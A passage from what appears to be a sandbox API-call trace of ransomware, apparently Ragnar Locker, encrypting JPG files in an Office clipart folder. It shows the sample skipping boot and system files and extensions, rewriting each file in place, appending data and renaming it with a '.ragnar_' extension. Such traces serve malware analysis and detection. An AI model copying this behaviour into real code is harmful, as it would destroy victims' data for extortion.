dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.301] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.301] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.301] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.301] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.301] GetProcessHeap () returned 0x580000 [0085.301] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.301] CloseHandle (hObject=0xf4) returned 1 [0085.301] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" [0085.301] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.ragnar_FD7BD9FC" [0085.301] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.302] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d26, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178639.JPG", cAlternateFileName="")) returned 1 [0085.302] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.302] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0178639.JPG" | out: lpString1="J0178639.JPG") returned="J0178639.JPG" [0085.302] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned=".JPG" [0085.302] lstrcmpiW (lpString1="J0178639.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.302] lstrcmpiW (lpString1="J0178639.JPG", lpString2="autorun.inf") returned 1 [0085.302] lstrcmpiW (lpString1="J0178639.JPG", lpString2="boot.ini") returned 1 [0085.302] lstrcmpiW (lpString1="J0178639.JPG", lpString2="bootfont.bin") returned 1 [0085.302] lstrcmpiW (lpString1="J0178639.JPG", lpString2="bootsect.bak") returned 1 [0085.302] lstrcmpiW (lpString1="J0178639.JPG", lpString2="bootmgr") returned 1 [0085.302] lstrcmpiW (lpString1="J0178639.JPG", lpString2="bootmgr.efi") returned 1 [0085.302] lstrcmpiW (lpString1="J0178639.JPG", lpString2="bootmgfw.efi") returned 1 [0085.302] lstrcmpiW (lpString1="J0178639.JPG", lpString2="desktop.ini") returned 1 [0085.302] lstrcmpiW (lpString1="J0178639.JPG", lpString2="iconcache.db") returned 1 [0085.302] lstrcmpiW (lpString1="J0178639.JPG", lpString2="ntldr") returned -1 [0085.302] lstrcmpiW (lpString1="J0178639.JPG", lpString2="ntuser.dat") returned -1 [0085.302] lstrcmpiW (lpString1="J0178639.JPG", lpString2="ntuser.dat.log") returned -1 [0085.302] lstrcmpiW (lpString1="J0178639.JPG", lpString2="ntuser.ini") returned -1 [0085.302] lstrcmpiW (lpString1="J0178639.JPG", lpString2="thumbs.db") returned -1 [0085.302] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0085.302] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0085.302] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0085.302] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0085.302] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0085.302] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0085.302] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0085.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg")) returned 0x20 [0085.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.303] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32038) returned 1 [0085.303] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7d1d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.303] GetProcessHeap () returned 0x580000 [0085.303] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.303] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.305] VirtualAlloc (lpAddress=0x0, dwSize=0x7d26, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.305] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.305] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.305] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7d26, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7d26, lpOverlapped=0x0) returned 1 [0085.306] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.306] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7d26, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.306] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7d26, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7d26, lpOverlapped=0x0) returned 1 [0085.307] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7d26, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.307] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.307] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7d26, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.307] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.307] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.307] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.307] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.307] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.307] GetProcessHeap () returned 0x580000 [0085.307] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.307] CloseHandle (hObject=0xf4) returned 1 [0085.307] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" [0085.307] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.ragnar_FD7BD9FC" [0085.308] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.308] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178932.JPG", cAlternateFileName="")) returned 1 [0085.308] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.308] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0178932.JPG" | out: lpString1="J0178932.JPG") returned="J0178932.JPG" [0085.308] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned=".JPG" [0085.308] lstrcmpiW (lpString1="J0178932.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.308] lstrcmpiW (lpString1="J0178932.JPG", lpString2="autorun.inf") returned 1 [0085.308] lstrcmpiW (lpString1="J0178932.JPG", lpString2="boot.ini") returned 1 [0085.308] lstrcmpiW (lpString1="J0178932.JPG", lpString2="bootfont.bin") returned 1 [0085.308] lstrcmpiW (lpString1="J0178932.JPG", lpString2="bootsect.bak") returned 1 [0085.308] lstrcmpiW (lpString1="J0178932.JPG", lpString2="bootmgr") returned 1 [0085.308] lstrcmpiW (lpString1="J0178932.JPG", lpString2="bootmgr.efi") returned 1 [0085.308] lstrcmpiW (lpString1="J0178932.JPG", lpString2="bootmgfw.efi") returned 1 [0085.308] lstrcmpiW (lpString1="J0178932.JPG", lpString2="desktop.ini") returned 1 [0085.308] lstrcmpiW (lpString1="J0178932.JPG", lpString2="iconcache.db") returned 1 [0085.308] lstrcmpiW (lpString1="J0178932.JPG", lpString2="ntldr") returned -1 [0085.309] lstrcmpiW (lpString1="J0178932.JPG", lpString2="ntuser.dat") returned -1 [0085.309] lstrcmpiW (lpString1="J0178932.JPG", lpString2="ntuser.dat.log") returned -1 [0085.309] lstrcmpiW (lpString1="J0178932.JPG", lpString2="ntuser.ini") returned -1 [0085.309] lstrcmpiW (lpString1="J0178932.JPG", lpString2="thumbs.db") returned -1 [0085.309] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0085.309] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0085.309] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0085.309] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0085.309] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0085.309] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0085.309] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0085.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg")) returned 0x20 [0085.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.311] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=35340) returned 1 [0085.311] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8a03, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.311] GetProcessHeap () returned 0x580000 [0085.311] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.311] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.312] VirtualAlloc (lpAddress=0x0, dwSize=0x8a0c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.312] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.312] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.312] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8a0c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8a0c, lpOverlapped=0x0) returned 1 [0085.313] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.314] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8a0c, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.314] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8a0c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8a0c, lpOverlapped=0x0) returned 1 [0085.314] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8a0c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.314] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.314] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8a0c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.314] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.314] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.314] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.315] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.315] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.315] GetProcessHeap () returned 0x580000 [0085.315] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.315] CloseHandle (hObject=0xf4) returned 1 [0085.315] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" [0085.315] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.ragnar_FD7BD9FC" [0085.315] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.315] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0179963.JPG", cAlternateFileName="")) returned 1 [0085.315] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.315] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0179963.JPG" | out: lpString1="J0179963.JPG") returned="J0179963.JPG" [0085.316] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned=".JPG" [0085.316] lstrcmpiW (lpString1="J0179963.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.316] lstrcmpiW (lpString1="J0179963.JPG", lpString2="autorun.inf") returned 1 [0085.316] lstrcmpiW (lpString1="J0179963.JPG", lpString2="boot.ini") returned 1 [0085.316] lstrcmpiW (lpString1="J0179963.JPG", lpString2="bootfont.bin") returned 1 [0085.316] lstrcmpiW (lpString1="J0179963.JPG", lpString2="bootsect.bak") returned 1 [0085.316] lstrcmpiW (lpString1="J0179963.JPG", lpString2="bootmgr") returned 1 [0085.316] lstrcmpiW (lpString1="J0179963.JPG", lpString2="bootmgr.efi") returned 1 [0085.316] lstrcmpiW (lpString1="J0179963.JPG", lpString2="bootmgfw.efi") returned 1 [0085.316] lstrcmpiW (lpString1="J0179963.JPG", lpString2="desktop.ini") returned 1 [0085.316] lstrcmpiW (lpString1="J0179963.JPG", lpString2="iconcache.db") returned 1 [0085.316] lstrcmpiW (lpString1="J0179963.JPG", lpString2="ntldr") returned -1 [0085.316] lstrcmpiW (lpString1="J0179963.JPG", lpString2="ntuser.dat") returned -1 [0085.316] lstrcmpiW (lpString1="J0179963.JPG", lpString2="ntuser.dat.log") returned -1 [0085.316] lstrcmpiW (lpString1="J0179963.JPG", lpString2="ntuser.ini") returned -1 [0085.316] lstrcmpiW (lpString1="J0179963.JPG", lpString2="thumbs.db") returned -1 [0085.316] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0085.316] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0085.316] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0085.316] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0085.316] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0085.316] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0085.316] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0085.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg")) returned 0x20 [0085.316] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.317] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32110) returned 1 [0085.317] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7d65, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.317] GetProcessHeap () returned 0x580000 [0085.317] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.317] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.318] VirtualAlloc (lpAddress=0x0, dwSize=0x7d6e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.318] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.318] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.318] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7d6e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7d6e, lpOverlapped=0x0) returned 1 [0085.320] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.321] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7d6e, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.321] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7d6e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7d6e, lpOverlapped=0x0) returned 1 [0085.321] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7d6e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.321] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.321] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7d6e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.321] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.321] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.321] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.321] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.322] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, 